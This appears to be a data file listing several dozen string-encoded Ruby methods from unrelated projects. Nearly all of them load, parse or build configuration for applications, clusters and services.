"def load_config\n if @type == :upload\n config_file = \"ul_config.xml\"\n else\n config_file = \"dl_config.xml\"\n end\n doc = Nokogiri::XML(open(\"config/#{config_file}\"))\n doc.search(@type.to_s).each do |config|\n @config_map[:ip] = get_content config, \"ip\"\n @config_map[:port] = get_content config, \"port\"\n @config_map[:user] = get_content config, \"user\"\n @config_map[:password] = get_content config, \"password\"\n @config_map[:remotedir] = get_content config, \"remotedir\"\n @config_map[:localdir] = get_content config, \"localdir\"\n\n @localfile = get_content config, \"localfile\"\n @remotefile = get_content config, \"remotefile\"\n\n @thread_num = get_content(config, \"thread_num\").to_i\n @sleep = get_content(config, \"sleep\").to_i\n @test = get_content(config, \"test\")\n end\n\n if @type == :upload\n @thread_num = @thread_num >= 10 ? @thread_num : 10\n end\n end",
"def load_config\n config_file = File.join(Dir.home, \".assemblotron\")\n if File.exists? config_file\n @log.debug \"config file found at #{config_file}\"\n config = YAML::load_file(config_file)\n if config.nil?\n @log.warn \"config file malformed or empty\"\n return\n end\n @config = config.deep_symbolize\n end\n end",
"def gen_node_configs(cluster_yml)\n master_n = cluster_yml['master_n']\n master_mem = cluster_yml['master_mem']\n master_cpus = cluster_yml['master_cpus']\n slave_n = cluster_yml['slave_n']\n slave_mem = cluster_yml['slave_mem']\n slave_cpus = cluster_yml['slave_cpus']\n master_ipbase = cluster_yml['master_ipbase']\n slave_ipbase = cluster_yml['slave_ipbase']\n master_instance_type = cluster_yml['master_instance_type']\n slave_instance_type = cluster_yml['slave_instance_type']\n master_droplet_size = cluster_yml['master_droplet_size']\n slave_droplet_size = cluster_yml['slave_droplet_size']\n\n master_infos = (1..master_n).map do |i|\n { :hostname => \"master#{i}\",\n :ip => master_ipbase + \"#{10+i}\",\n :mem => master_mem,\n :cpus => master_cpus,\n :instance_type => master_instance_type,\n :size => master_droplet_size\n }\n end\n slave_infos = (1..slave_n).map do |i|\n { :hostname => \"slave#{i}\",\n :ip => slave_ipbase + \"#{10+i}\",\n :mem => slave_mem,\n :cpus => slave_cpus,\n :instance_type => slave_instance_type,\n :size => slave_droplet_size\n }\n end\n\n return { :master => master_infos, :slave=>slave_infos }\nend",
"def conf\n begin\n @conf ||= JSON.parse(File.read(config_file))\n rescue\n @conf ||= {}\n end\n end",
"def conf\n begin\n @conf ||= JSON.parse(File.read(config_file))\n rescue\n @conf ||= {}\n end\n end",
"def readConfig(section=@name)\n puts \"Using config dir: #{@config_dir}\" if @debug\n config_file=@config_dir+\"/rasca.cfg\"\n section_dir=@config_dir+\"/\"+section\n @config_values=Hash.new\n if File.exists?config_file\n @config_values = YAML.load(File.open(config_file))\n else\n raise \"ERROR: config file #{config_file} does not exist\"\n end\n # Read specific config\n if File.directory?section_dir\n # Read all files on section, except Local.cfg \n Dir.glob(section_dir+\"/*.cfg\") do |file|\n @config_values.merge!(YAML.load(File.open(file))) unless file == \"Local.cfg\"\n end\n # Read local config Local.cfg\n if File.exists?section_dir+\"/Local.cfg\"\n @config_values.merge!(YAML.load(File.open(section_dir+\"/Local.cfg\")))\n end\n end\n \n # Check that we have at least the mandatory Rasca options\n unless @config_values.has_key? :hostname\n raise \"ERROR: No :hostname config entry found\"\n end\n unless @config_values.has_key? :notify_methods\n raise \"ERROR: No :notify_methods config entry found\"\n end\n end",
"def read_config\n info(\"reading config.yml\")\n AIPP.config.read! config_file\n @aixm.namespace = AIPP.config.namespace\n end",
"def parse_config\n %w(/etc/steel/steel.yml steel.yml).each do |cfg|\n if File.exist?(cfg)\n begin\n y = YAML.load_file(cfg)\n rescue Psych::SyntaxError => e\n error \"[#{e.class}] Failed to parse '#{cfg}'!!\"\n error e.message\n exit 1\n end\n # Merge the contents of the config into @config.\n config.merge!(y)\n end\n end\n end",
"def parse_config\r\n exec 'parse_config(true);'\r\n self.config_parsed = true\r\n end",
"def configure(cluster_config, force = false)\n logger.debug { \"#{self.class}##{__method__}\" }\n # cluster specific attributes\n cluster_attributes = cluster_config.instance_values.symbolize_keys.except(:active, :cluster_type,\n :max_threads_per_agent, :cluster_code)\n cluster_attributes[:project_id] = self.project.id\n # find the cluster or create it\n cluster_instance = find_or_initialize(cluster_attributes, cluster_config)\n cluster_instance.save!\n cluster_instance.setup(force)\n end",
"def read_config(mgr)\n @config = mgr.read_config_file( File.join(cfg_dir, CONFIG_FILE),\n CONFIG_DOMAIN )\n end",
"def read_config_file(file); end",
"def config\n @config ||= read_config\n end",
"def read_config!\n @config = YAML.load_file(CONFIG_FILE)\n end",
"def import_config()\n # The config is top down.. anything after a [group] gets added as part\n # of that group until a new [group] is found. \n group = nil\n open(self.config_file).each do |line| \n line.strip!\n unless (/^\\#/.match(line))\n if(/\\s*=\\s*/.match(line))\n param, value = line.split(/\\s*=\\s*/, 2) \n var_name = \"#{param}\".chomp.strip\n value = value.chomp.strip\n new_value = ''\n if (value)\n if value =~ /^['\"](.*)['\"]$/\n new_value = $1\n else\n new_value = value\n end\n else\n new_value = ''\n end \n\n if group\n self.add_to_group(group, var_name, new_value)\n else\n self.add(var_name, new_value)\n end\n \n elsif(/^\\[(.+)\\]$/.match(line).to_a != [])\n group = /^\\[(.+)\\]$/.match(line).to_a[1]\n self.add(group, {})\n \n end\n end\n end \n end",
"def parse_config\n raw_config.split(\"\\n\").each do |line|\n match = CONFIG_MATCH_EXPRESSION.match(line)\n\n next unless match\n\n key, value = match[1], match[2]\n\n if key.include?('.')\n metric_name, metric_parameter = key.split('.')\n\n metrics[metric_name] ||= {}\n metrics[metric_name][metric_parameter] = value\n else\n parameters[key] = value\n end\n end\n end",
"def parse_config(config)\n @config = YAML.load_file(config)\n debug_msg(\"CONFIG: #{@config.inspect}\")\nend",
"def parse\n checkArguments\n configContent = File.read(ARGV[0])\n @config = JSON.parse(configContent)\n checkConfig\n end",
"def handle_config\n @node.config\n end",
"def config_from_raw(raw_config)\n config = Hash.new\n\n raw_config.split(\"\\n\").select { |line| line.match(/:\\s/) }.each do |line|\n key, value = line.split(/:\\s+/)\n config[key] = value\n end\n\n config\nend",
"def parsed_config\n @parsed_config ||= begin\n JSON.parse(config[:json_config], symbolize_names: true)\n rescue JSON::ParserError\n JSON.parse(File.read(config[:json_config]),\n symbolize_names: true)\n end\n end",
"def configure!\n conf = YAML::load_file(@config)\n conf.merge!({\n \"initial_token\" => 0,\n \"partitioner\" => \"org.apache.cassandra.dht.RandomPartitioner\",\n # have to force ascii or YAML will come out as binary\n \"data_file_directories\" => [@data.encode(\"us-ascii\")],\n \"commitlog_directory\" => @commit.encode(\"us-ascii\"),\n \"saved_caches_directory\" => @caches.encode(\"us-ascii\"),\n \"storage_port\" => @storage_port.to_i,\n \"ssl_storage_port\" => @ssl_storage_port.to_i,\n \"listen_address\" => @host.encode(\"us-ascii\"),\n \"rpc_address\" => @host.encode(\"us-ascii\"),\n \"rpc_port\" => @rpc_port.to_i,\n # DSE doesn't work OOTB as a single node unless you switch to simplesnitch\n \"endpoint_snitch\" => \"org.apache.cassandra.locator.SimpleSnitch\",\n })\n File.open(@config, \"w\") { |file| file.puts YAML::dump(conf) }\n\n # relocate the JMX port to avoid conflicts with running instances\n env = File.read(@envfile)\n env.sub!(/JMX_PORT=['\"]?\\d+['\"]?/, \"JMX_PORT=\\\"#{@jmx_port}\\\"\")\n File.open(@envfile, \"w\") { |file| file.puts env }\n\n # relocate the system.log\n log = File.read(@log4j)\n log.sub!(/log4j.appender.R.File=.*$/, \"log4j.appender.R.File=#{@logfile}\")\n File.open(@log4j, \"w\") do |file| file.puts log end\n end",
"def ReadConfig()\n\n # Deep copy \n puts \"Reading global config file #{$conf[:globalConfFile]}\" if $verbose\n conf = Marshal.load( Marshal.dump($conf) )\n\n optfile = @ConfFile\n conf[\"conffile\"] = optfile\n conf[\"filename\"] = @filename\n conf[\"dir\"] = @dir\n\n if File.exists?(optfile)\n begin\n puts \"Reading specific config file #{optfile}\" if $verbose\n c = YAML.load_file(optfile)\n raise \"Invalid yaml file\" if not c\n\n # surcharge d'options\n $sections.each {|s|\n next if c[s].nil?\n if c[s].class == Array\n if $sections_uniq.include?(s)\n # remove then add option\n c[s].each {|o|\n o2 = o.gsub(/=.*/, \"=\")\n conf[s].delete_if {|o3| o3.start_with?(o2)}\n conf[s].push o\n }\n else\n c[s].each {|o|\n if o[0] == \"!\"\n # delete option\n conf[s].delete o[1..-1]\n else\n # just add option\n conf[s].push o\n end\n }\n end\n else\n conf[s] = c[s]\n end\n }\n rescue\n puts \"Error loading #{optfile}\"\n end\n else\n puts \"Skip loading unknown specific config file #{optfile}\" if $verbose\n end\n\n conf.each {|k,v|\n if v.class == Array\n conf[k].each_index {|i|\n conf[k][i].gsub!(/%B/, $basedir) if conf[k][i].class == String\n conf[k][i].gsub!(/%b/, $confdir) if conf[k][i].class == String\n conf[k][i].gsub!(/%D/, @dir) if conf[k][i].class == String\n }\n else\n conf[k].gsub!(/%B/, $basedir) if conf[k].class == String\n conf[k].gsub!(/%b/, $confdir) if conf[k].class == String\n conf[k].gsub!(/%D/, @dir) if conf[k].class == String\n end\n }\n\n return conf\n end",
"def parsed_haproxy_config\n path = node.synapse.config.haproxy.config_file_path\n config = {\n 'global' => [],\n 'defaults' => [],\n\n 'frontend' => {},\n 'backend' => {},\n 'listen' => {},\n }\n\n # state machine\n section = nil\n name = nil\n IO.readlines(path).each do |line|\n line.strip!\n next if line.start_with?('#') || line == ''\n\n # we match the beginning of a section, to enter that section\n first, second, rest = line.split(nil, 3)\n if config.keys.include?(first)\n section = first\n name = second\n if name\n config[section][name] ||= {'config' => []}\n end\n\n if %w{listen frontend}.include? section\n config[section][name]['address'] = rest\n end\n\n # otherwise, we should already be in a section\n else\n if %w{global defaults}.include? section\n config[section] << line\n else\n config[section][name]['config'] << line\n end\n end\n end\n\n return config\n end",
"def save_cluster_configuration\n conf = cluster_attributes(CLUSTER_CONF_KEY)\n conf ||= {}\n merge_to_cluster_role({ CLUSTER_CONF_KEY => conf })\n end",
"def config\n\tYAML.load(File.open(\"config.yaml\"))\nend",
"def _parse(config_file)\r\n unless File.readable?(config_file)\r\n raise Compass::Error, \"Configuration file, #{config_file}, not found or not readable.\"\r\n end\r\n open(config_file) do |f|\r\n parse_string(f.read, config_file)\r\n end\r\n end",
"def get_system_config(config)\n\n config = YAML.load_file(config_file)\n\n #Config details.\n @host = config[\"database\"][\"host\"]\n @port = config[\"database\"][\"port\"]\n\n @user_name = config[\"database\"][\"user_name\"]\n @password_encoded = config[\"database\"][\"password_encoded\"]\n\n if @password_encoded.nil? then #User is passing in plain-text password...\n @password = config[\"database\"][\"password\"]\n @password_encoded = Base64.encode64(@password)\n end\n\n @database = config[\"database\"][\"schema\"]\n end",
"def cluster_txt\n File.readlines(File.join(repo_dir, 'cluster.txt'))\n end",
"def read_config(config_path = T.unsafe(nil)); end",
"def get_config\n if @resource[:section]\n return node.get_config(params: \"section #{@resource[:section]}\", as_string: true)\n end\n node.running_config\n end",
"def load_configuration\n @opts[:souschef] = Souschef::Config.read[@opts[:profile]]\n end",
"def config\n path = config_path\n @config ||= path.exist? ? JSON.parse(path.read) : {}\n end",
"def parse_from_file\n parsed_opts = YAML.load_file(config_path)\n parsed_opts.delete_if{|k| k.to_s == 'config_path'}\n parsed_opts.each_pair{|k,v| self[k] = v}\n true\n rescue Errno::ENOENT\n false\n end",
"def config\n @config ||= YAML.load File.read(@config_file)\n end",
"def ReadGlobalConfig()\n\n # Load config file\n begin\n conf = YAML.load_file(\"#{$confdir}/#{$globalConfFile}\")\n rescue\n puts \"Unable to locate #{$confdir}/#{$globalConfFile}\"\n conf = {}\n end\n\n Dir.glob(\"#{$confdir}/#{$globalConfDir}/*.yaml\") {|f|\n begin\n conf.merge!(YAML.load_file(f))\n rescue\n puts \"Unable to locate #{f}\"\n conf = {}\n end\n }\n\n $sections.each {|o|\n conf[o] = [] if conf[o].nil?\n }\n conf[:globalConfFile] = \"#{$confdir}/#{$globalConfFile}\"\n conf[:globalConfDir] = \"#{$confdir}/#{$globalConfDir}\"\n\n altConfFile = \"#{$curdir}/.rake/#{$globalConfFile}\"\n if File.exists?(altConfFile)\n begin\n puts \"Reading local config file #{altConfFile}\" if $verbose\n c = YAML.load_file(altConfFile)\n raise \"Invalid yaml file\" if not c\n\n # surcharge d'options\n $sections.each {|s|\n next if c[s].nil?\n if $sections_uniq.include?(s)\n # remove then add option\n c[s].each {|o|\n o2 = o.gsub(/=.*/, \"=\")\n conf[s].delete_if {|o3| o3.start_with?(o2)}\n conf[s].push o\n }\n else\n c[s].each {|o|\n if o[0] == \"!\"\n # delete option\n conf[s].delete o[1..-1]\n else\n # just add option\n conf[s].push o\n end\n }\n end\n }\n rescue\n puts \"Error loading #{altConfFile}\"\n end\n end\n \n conf.each {|k,v|\n if v.class == Array\n conf[k].each_index {|i|\n conf[k][i].gsub!(/%B/, $basedir) if conf[k][i].class == String\n conf[k][i].gsub!(/%b/, $confdir) if conf[k][i].class == String\n }\n else\n conf[k].gsub!(/%B/, $basedir) if conf[k].class == String\n conf[k].gsub!(/%b/, $confdir) if conf[k].class == String\n end\n }\n\n return conf\nend",
"def load_config\n cfg = File.open(CONFIG) { |yf| YAML::load( yf ) } if File.exists?(CONFIG)\n # => Ensure loaded data is a hash. ie: YAML load was OK\n if cfg.class != Hash\n raise \"ERROR: Configuration - invalid format or parsing error.\"\n else\n if cfg['login'].nil?\n raise \"ERROR: Configuration: login not defined.\"\n end\n end\n\n return cfg\nend",
"def loadConfig(params)\n configFile = params[:configFile]\n optional = false\n if (configFile == nil)\n optional = true\n configFile = \"#{params[:configDir]}/#{DEF_CONFIG_FILE}\"\n end\n if (File.readable?(configFile))\n MObject.debug(:gridservices, \"Reading configuration file #{configFile}\")\n tree = YAML::parse(File.open(configFile)).transform\n tree.each_pair {|k, v|\n if (! params.has_key?(k))\n params[k.to_sym] = v\n end\n }\n elsif (! optional)\n MObject.error('services', \"Can't find config file '#{configFile}\")\n return false\n else\n MObject.info('services', \"Config file '#{configFile}' not readable. You may find an example file in /usr/share/doc/omf-aggmgr-#{OMF_MM_VERSION}/examples.\")\n end\n return true\nend",
"def generate_config_for(mode)\n config_items = []\n @cluster_members.each do |mem|\n # The config item should match the structure NodeInfo\n # in node/cluster/membership.go in order for that one\n # to unmarshal successfully.\n config_item = {node_id: mem.id}\n if :docker.eql? mode\n config_item[:rpc_url] = \"#{mem.id}:#{mem.rpc_port}\"\n config_item[:api_url] = \"#{mem.id}:#{mem.api_port}\"\n else\n config_item[:rpc_url] = \"localhost:#{mem.rpc_port}\"\n config_item[:api_url] = \"localhost:#{mem.api_port}\"\n end\n config_items << config_item\n end\n config_items\n end",
"def config_read\n f = File.expand_path(CONFIG_FILE)\n return unless File.readable? f\n\n hash = loadYML(f)\n @used_dirs = hash['DIRS']\n @visited_files = hash['FILES']\n @bookmarks = hash['BOOKMARKS']\n @used_dirs.concat get_env_paths\nend",
"def load_config()\n Kitchenplan::Log.debug \"Loading configs from #{self.options[:config_dir]} ...\"\n #Kitchenplan::Log.debug self.platform.ohai.inspect\n self.config = Kitchenplan::Config.new(self.platform.ohai, parse_configs=true,config_path=self.options[:config_dir]).config()\n end",
"def load_config\n begin\n @@stored_config ||= YAML.load(File.open(File.expand_path(\"#{File.dirname(__FILE__)}/../conf/sensei-client.yml\")))\n return @@stored_config\n rescue\n raise \"Could not find a conf/sensei-client.yml file\"\n end\n end",
"def get_cluster(cluster)\n cluster = JSON.parse(cluster)\n return cluster\n rescue JSON::ParserError => e\n return cluster\nend",
"def read_app_config(path_to_file)\n app_config = {}\n File.open(path_to_file).readlines.each do |line|\n line.strip!\n unless line.start_with? '#' or line.empty?\n splitted = line.split(':')\n next unless splitted.size == 3\n app_config.merge! \"#{splitted[1]}\" => {host: splitted[0], command: splitted[2]}\n end\n end\n app_config\n end",
"def __cluster_info\n health = JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_cluster/health\")))\n nodes = if version == '0.90'\n JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_nodes/?process&http\")))\n else\n JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_nodes/process,http\")))\n end\n master = JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_cluster/state\")))['master_node']\n\n result = [\"\\n\",\n ('-'*80).ansi(:faint),\n 'Cluster: '.ljust(20).ansi(:faint) + health['cluster_name'].to_s.ansi(:faint),\n 'Status: '.ljust(20).ansi(:faint) + health['status'].to_s.ansi(:faint),\n 'Nodes: '.ljust(20).ansi(:faint) + health['number_of_nodes'].to_s.ansi(:faint)].join(\"\\n\")\n\n nodes['nodes'].each do |id, info|\n m = id == master ? '*' : '-'\n result << \"\\n\" +\n ''.ljust(20) +\n \"#{m} \".ansi(:faint) +\n \"#{info['name'].ansi(:bold)} \".ansi(:faint) +\n \"| version: #{info['version'] rescue 'N/A'}, \".ansi(:faint) +\n \"pid: #{info['process']['id'] rescue 'N/A'}, \".ansi(:faint) +\n \"address: #{info['http']['bound_address'] rescue 'N/A'}\".ansi(:faint)\n end\n\n result\n end",
"def read_configuration filename\n puts \"Reading configuration from #{filename}\"\n lines=File.readlines(filename)\n cfg={}\n #change in the dir of the file to calculate paths correctly\n cfg_dir=File.dirname(filename)\n lines.each do |l|\n l.gsub!(\"\\t\",\"\")\n l.chomp!\n #ignore if it starts with a hash\n unless l=~/^#/ || l.empty?\n #clean up by trimming whitespaces\n l.gsub!(/\\s*=\\s*/,'=')\n l.gsub!(/\\s*,\\s*/,',')\n #\n if l=~/=$/\n trailing_equals=true\n end\n #split on equals\n fields=l.split('=')\n #more than one part needed\n if fields.size>1\n #the key is the first\n key=fields.first\n #take the key out of the array\n values=fields.drop(1)\n #the value to each key is the values array joined with space\n case key \n when \"include\",\"depend\",\"interface\",\"external\" \n cfg[key]||=[]\n #here we want to handle a comma separated list of prefixes\n incs=values.join\n cfg[key]+=incs.split(',')\n cfg[key].uniq!\n when \"out_dir\",\"base_dir\",\"model\" \n cfg[key]=File.expand_path(File.join(cfg_dir,values.join))\n else\n cfg[key]=values.join('=')\n end#case\n cfg[key]<<'=' if trailing_equals\n else\n puts \"ERROR - Configuration syntax error in #{filename}:\\n'#{l}'\"\n end#if size>1\n end#unless\n end#lines.each\n return cfg\nend",
"def clusters\n @clusters ||= parse_clusters(ENV['OOD_CLUSTERS'])\n end",
"def parse_config_file\n JSON.parse(File.read(CONFIG_FILE))\n rescue Errno::ENOENT\n abort \"#{CONFIG_FILE} does not exist\"\n rescue Errno::EACCES\n abort \"#{CONFIG_FILE} can't be read\"\n rescue JSON::ParserError\n abort \"#{CONFIG_FILE} is not valid JSON\"\n end",
"def parse_config_file(path)\n return unless File.exists?(path)\n \n conf = YAML::load(ERB.new(IO.read(path)).result)[Rails.env]\n \n conf.each do |key,value|\n self.send(\"#{key}=\", value) if self.respond_to?(\"#{key}=\")\n end unless conf.nil?\n end",
"def read_config(name)\n read_config_file[name]\n end",
"def additional_config(options, config)\n options[:hostname] = parse_property(config, \"hostname\", String)\n options[:runtime_path] = parse_property(config, \"runtime_path\", String)\n options[:port_range] = parse_property(config, \"port_range\", Range)\n options[:ssl_port_range] = parse_property(config, \"ssl_port_range\", Range)\n options[:jmx_port_range] = parse_property(config, \"jmx_port_range\", Range)\n options[:rpc_port_range] = parse_property(config, \"rpc_port_range\", Range)\n options[:transport_port_range] = parse_property(config, \"transport_port_range\", Range)\n options[:supported_versions] = parse_property(config, \"supported_versions\", Array)\n options[:default_version] = parse_property(config, \"default_version\", String)\n options[:instance_limit] = parse_property(config, \"instance_limit\", Integer)\n options[:seeds] = parse_property(config, \"seeds\", String)\n options[:clustername] = parse_property(config, \"clustername\", String)\n options[:max_heap_size] = parse_property(config, \"max_heap_size\", String)\n options[:heap_newsize] = parse_property(config, \"heap_newsize\", String)\n options\n end",
"def initialize(cluster)\n @server = cluster.custom_config[:moab]\n self\n end",
"def load_config\n self.config = JSON.load(self.data)\n end",
"def node_configs(scenario_id)\n parse_node_config_files(parse_scenario_file(scenario_id))\nend",
"def read_configuration\n\t\t@config = YAML.load_file(\"config.yml\")\n\t\treturn @config\n\tend",
"def parse\n parse_command\n load_config\n finalize_setup\n end",
"def read_config_file\n config_path = File.expand_path(File.dirname(__FILE__)+\"/../../\")\n YAML.load_file(\"#{config_path}/config/#{@type}/config.yaml\")\n end",
"def config\n \n # TODO: Re-enable:\n # # Display the value for a specific machine.\n # $ rudy -e prod -r db config param-name\n \n if @@config.nil? || @@config.empty?\n return if @@global.quiet\n raise Rudy::NoConfig\n end\n\n outform = @@global.format == :json ? :to_json : :to_yaml\n \n types = @option.marshal_dump.keys & @@config.keys # Intersections only\n types = @@config.keys if @option.all\n types = [:machines] if types.empty?\n \n if @option.project\n rf = File.join(RUDY_HOME, 'Rudyfile')\n raise \"Cannot find: #{rf}\" unless File.exists?(rf)\n li File.read(rf)\n \n elsif @option.script\n conf = fetch_script_config\n li conf.to_hash.send(outform) if conf\n \n else\n #li \"# ACCOUNTS: [not displayed]\" if types.delete(:accounts)\n types.each do |conftype|\n li \"# #{conftype.to_s.upcase}\"\n next unless @@config[conftype] # Nothing to output\n if conftype == :accounts\n skey = @@config[conftype][:aws][:secretkey]\n @@config[conftype][:aws][:secretkey] = hide_secret_key(skey)\n end\n \n li @@config[conftype].to_hash.send(outform)\n end\n end\n \n end",
"def load_config\n self.config = JSON.load(self.data)\n end",
"def load_config\n self.config = JSON.load(self.data)\n end",
"def parse_config(rehash)\n open_config() if rehash\n @opers = []\n @ulines = []\n @options = {}\n \n while true\n line = @f.gets(\"\\n\")\n break if line == nil\n line.chomp!()\n next if line.empty?() || line[0] == '#'\n # O:lines need special treatment because of IPv6\n fields = []\n fields = line.split(':')\n if line.start_with?('O') && fields.length > ArgumentCount['O']\n uh = fields[1..-4].join(':')\n fields.insert(uh)\n end\n char = fields.shift()\n seen = []\n\n # In case we remove *:lines at some point, be backwards-compatible.\n if ArgumentCount[char] == nil\n puts(\"Warning: I have no idea how to parse a #{char}:line.\")\n next\n end\n\n if ArgumentCount[char] != fields.length\n raise(InvalidConfigurationFieldCountException,\n \"#{char}:line needs #{ArgumentCount[char]} args, got #{fields.length}.\")\n end\n\n case char\n when 'M'\n next if rehash\n @server = Server.new(fields[5], fields[0], fields[2])\n @vhost = fields[1]\n @bot = {'nick' => fields[3], 'ident' => fields[4], 'host' => fields[0]}\n when 'O'\n @opers.push(Oper.new(fields[0], fields[1], fields[2], fields[3]))\n when 'U'\n @ulines.push(fields[0])\n when 'C'\n next if rehash\n @uplink = {'host' => fields[0], 'password' => fields[1],\n 'port' => fields[2].to_i(), 'ssl' => (fields[3] == 'true')}\n when 'L'\n @levels = {'oper' => fields[0], 'admin' => fields[1]}\n when 'F'\n val = fields[1]\n val = (fields[1] == 'true') if BooleanOptions.include?(fields[0])\n @options[fields[0]] = val\n end\n end\n\n @options['logchan'] = '*' if @options['logchan'] == nil\n end",
"def cluster_servers\n endpoint.config.nodes.map { |h| \"#{h[:host]}:#{h[:port]}\" }\n end",
"def load(config_file = DEFAULTS[:config_file])\n user_config_params = {}\n dirname = Dir.pwd\n if File.exists?(File.expand_path(config_file, Dir.pwd))\n begin\n config_file_path = File.expand_path config_file, Dir.pwd\n user_config_params = Psych.load(File.open(config_file_path))\n dirname = File.dirname config_file_path\n rescue ArgumentError => e\n raise Nimbus::WrongFormatFileError, \"It was not posible to parse the config file (#{config_file}): \\r\\n#{e.message} \"\n end\n end\n\n if user_config_params['input']\n @training_file = File.expand_path(user_config_params['input']['training'], dirname) if user_config_params['input']['training']\n @testing_file = File.expand_path(user_config_params['input']['testing' ], dirname) if user_config_params['input']['testing']\n @forest_file = File.expand_path(user_config_params['input']['forest' ], dirname) if user_config_params['input']['forest']\n @classes = user_config_params['input']['classes'] if user_config_params['input']['classes']\n else\n @training_file = File.expand_path(DEFAULTS[:training_file], Dir.pwd) if File.exists? File.expand_path(DEFAULTS[:training_file], Dir.pwd)\n @testing_file = File.expand_path(DEFAULTS[:testing_file ], Dir.pwd) if File.exists? File.expand_path(DEFAULTS[:testing_file ], Dir.pwd)\n @forest_file = File.expand_path(DEFAULTS[:forest_file ], Dir.pwd) if File.exists? File.expand_path(DEFAULTS[:forest_file ], Dir.pwd)\n end\n\n @do_training = true unless @training_file.nil?\n @do_testing = true unless @testing_file.nil?\n @classes = @classes.map{|c| c.to_s.strip} if @classes\n\n if @do_testing && !@do_training && !@forest_file\n raise Nimbus::InputFileError, \"There is not random forest data (training file not defined, and forest file not found).\"\n end\n\n if user_config_params['forest']\n @forest_size = user_config_params['forest']['forest_size'].to_i if user_config_params['forest']['forest_size']\n @tree_SNP_total_count = user_config_params['forest']['SNP_total_count'].to_i if user_config_params['forest']['SNP_total_count']\n @tree_SNP_sample_size = user_config_params['forest']['SNP_sample_size_mtry'].to_i if user_config_params['forest']['SNP_sample_size_mtry']\n @tree_node_min_size = user_config_params['forest']['node_min_size'].to_i if user_config_params['forest']['node_min_size']\n @do_importances = user_config_params['forest']['var_importances'].to_s.strip.downcase\n @do_importances = (@do_importances != 'no' && @do_importances != 'false')\n end\n\n check_configuration\n log_configuration\n end",
"def read_configuration\n @config = {}\n @config_paths.map do |file|\n @section = nil; @pattern = nil; @mailto = nil\n # section, pattern, mailto are reset for every file (but not when included by 'include')\n parse_file( file )\n end.join($/)\n end",
"def getconfig\n output = zonecfg :info\n\n name = nil\n current = nil\n hash = {}\n output.split(\"\\n\").each do |line|\n case line\n when /^(\\S+):\\s*$/\n name = $1\n current = nil # reset it\n when /^(\\S+):\\s*(.+)$/\n hash[$1.intern] = $2\n when /^\\s+(\\S+):\\s*(.+)$/\n if name\n hash[name] = [] unless hash.include? name\n\n unless current\n current = {}\n hash[name] << current\n end\n current[$1.intern] = $2\n else\n err \"Ignoring '#{line}'\"\n end\n else\n debug \"Ignoring zone output '#{line}'\"\n end\n end\n\n hash\n end",
"def config\n @config ||= load_config\n end",
"def parse_cloud_config(env = nil)\n cloud_config = YAML.load(File.read('config/cloud.yml'))\n check_cloud_config(cloud_config)\n\n if env\n unless cloud_config[env]\n fail \"Environement `#{env}` missing in config/cloud.yml\"\n end\n return cloud_config[env]\n end\n return cloud_config\n end",
"def get_configcontent(format, appname, node = self.node, stackname = 'getcourse')\n settings = {}\n unless node.fetch(stackname, {})['env'].nil?\n Chef::Log.info(\"env settings for stack #{stackname} found\")\n settings = streamline_appenv(node[stackname]['env'])\n end\n if node.attribute?(appname) && node[appname].attribute?('env')\n Chef::Log.info(\"env settings for app #{appname} found\")\n settings.merge!(streamline_appenv(node[appname]['env']))\n end\n Chef::Log.info(\"no env settings found - appname was #{appname}, stack #{stackname}\") if settings.empty?\n\n unless node.fetch('deploy', {}).fetch(appname, {}).fetch('database', {})['host'].nil?\n # add configuration from the RDS resource management in opsworks\n Chef::Log.info('found configured rds resource, adding to envvars')\n dbconfig = streamline_appenv('db' => node['deploy'][appname]['database'])\n settings.merge!(dbconfig)\n end\n\n data = {\n 'deployed_application' => get_appdata(node, appname),\n 'deployed_stack' => get_stackdata(node),\n 'settings' => settings\n }\n to_configformat(format, data)\n end",
"def json_config\n config = @node['gitlab']['gitlab_sshd'].dup\n\n find_host_keys!(config)\n find_host_certs!(config)\n\n config['listen'] = config.delete('listen_address')\n config['web_listen'] = config.delete('metrics_address')\n OMNIBUS_KEYS.each { |key| config.delete(key) }\n\n config\n end",
"def config\n @config ||= YAML.load_file(@config_file_path)\n end",
"def parse(config_file)\n open(config_file) do |f|\n parse_string(f.read, config_file)\n end\n end",
"def parse_config!(config, &block)\n options = OptionParser.new do |opts|\n opts.banner = \"Usage: djinn_file [OPTIONS]\"\n opts.on(\"-N\", \"--no-daemon\", \"Don't run in the background\") do\n config[:__daemonize] = false\n end\n opts.on(\"--stop\", \"Stop the Djinn, if possible\") do\n config[:__stop] = true\n end\n opts.on_tail(\"-h\", \"--help\", \"Prints this message\") do\n puts opts\n exit(0)\n end\n @config_items.each { |c| c.parse!(opts, config) }\n end\n yield options if block_given?\n options.parse!\n #Apply defaults\n @config_items.each do |ci|\n config[ci.key] = ci.default_value if ci.has_default? unless config.include?(ci.key)\n end\n # Check for missing arguments\n @config_items.each do |ci|\n if ci.required?\n puts \"Missing argument: #{ci.key}\\n\\n#{options}\"\n exit(1)\n end unless config.include?(ci.key) or config.include?(:__stop)\n end\n rescue OptionParser::InvalidOption => e\n puts e.message\n exit(1)\n end",
"def load_config!\n\n # Read the config\n @config.load_mccloud_config()\n\n # Read the templates in the template sub-dir\n @config.templates.load!\n @config.definitions.load!\n\n # Read the vms specified inthe vm sub-dir\n @config.vms.load!\n\n ui.info \"Loaded providers[#{@config.providers.length}]\"+\" vms[#{@config.vms.length}]\"+\" ips[#{@config.ips.length}]\"+\" lbs[#{@config.lbs.length}]\"+\" stacks[#{@config.stacks.length}]\"+\" templates[#{@config.templates.length}] keypairs[#{@config.keypairs.length}] keystores[#{@config.keystores.length}]\"\n\n return self\n end",
"def config_status\n config = getconfig\n result = {}\n\n result[:autoboot] = config[:autoboot] ? config[:autoboot].intern : :absent\n result[:pool] = config[:pool]\n result[:shares] = config[:shares]\n if dir = config[\"inherit-pkg-dir\"]\n result[:inherit] = dir.collect { |dirs| dirs[:dir] }\n end\n if datasets = config[\"dataset\"]\n result[:dataset] = datasets.collect { |dataset| dataset[:name] }\n end\n result[:iptype] = config[:\"ip-type\"]\n if net = config[\"net\"]\n result[:ip] = net.collect do |params|\n if params[:defrouter]\n \"#{params[:physical]}:#{params[:address]}:#{params[:defrouter]}\"\n elsif params[:address]\n \"#{params[:physical]}:#{params[:address]}\"\n else\n params[:physical]\n end\n end\n end\n\n result\n end",
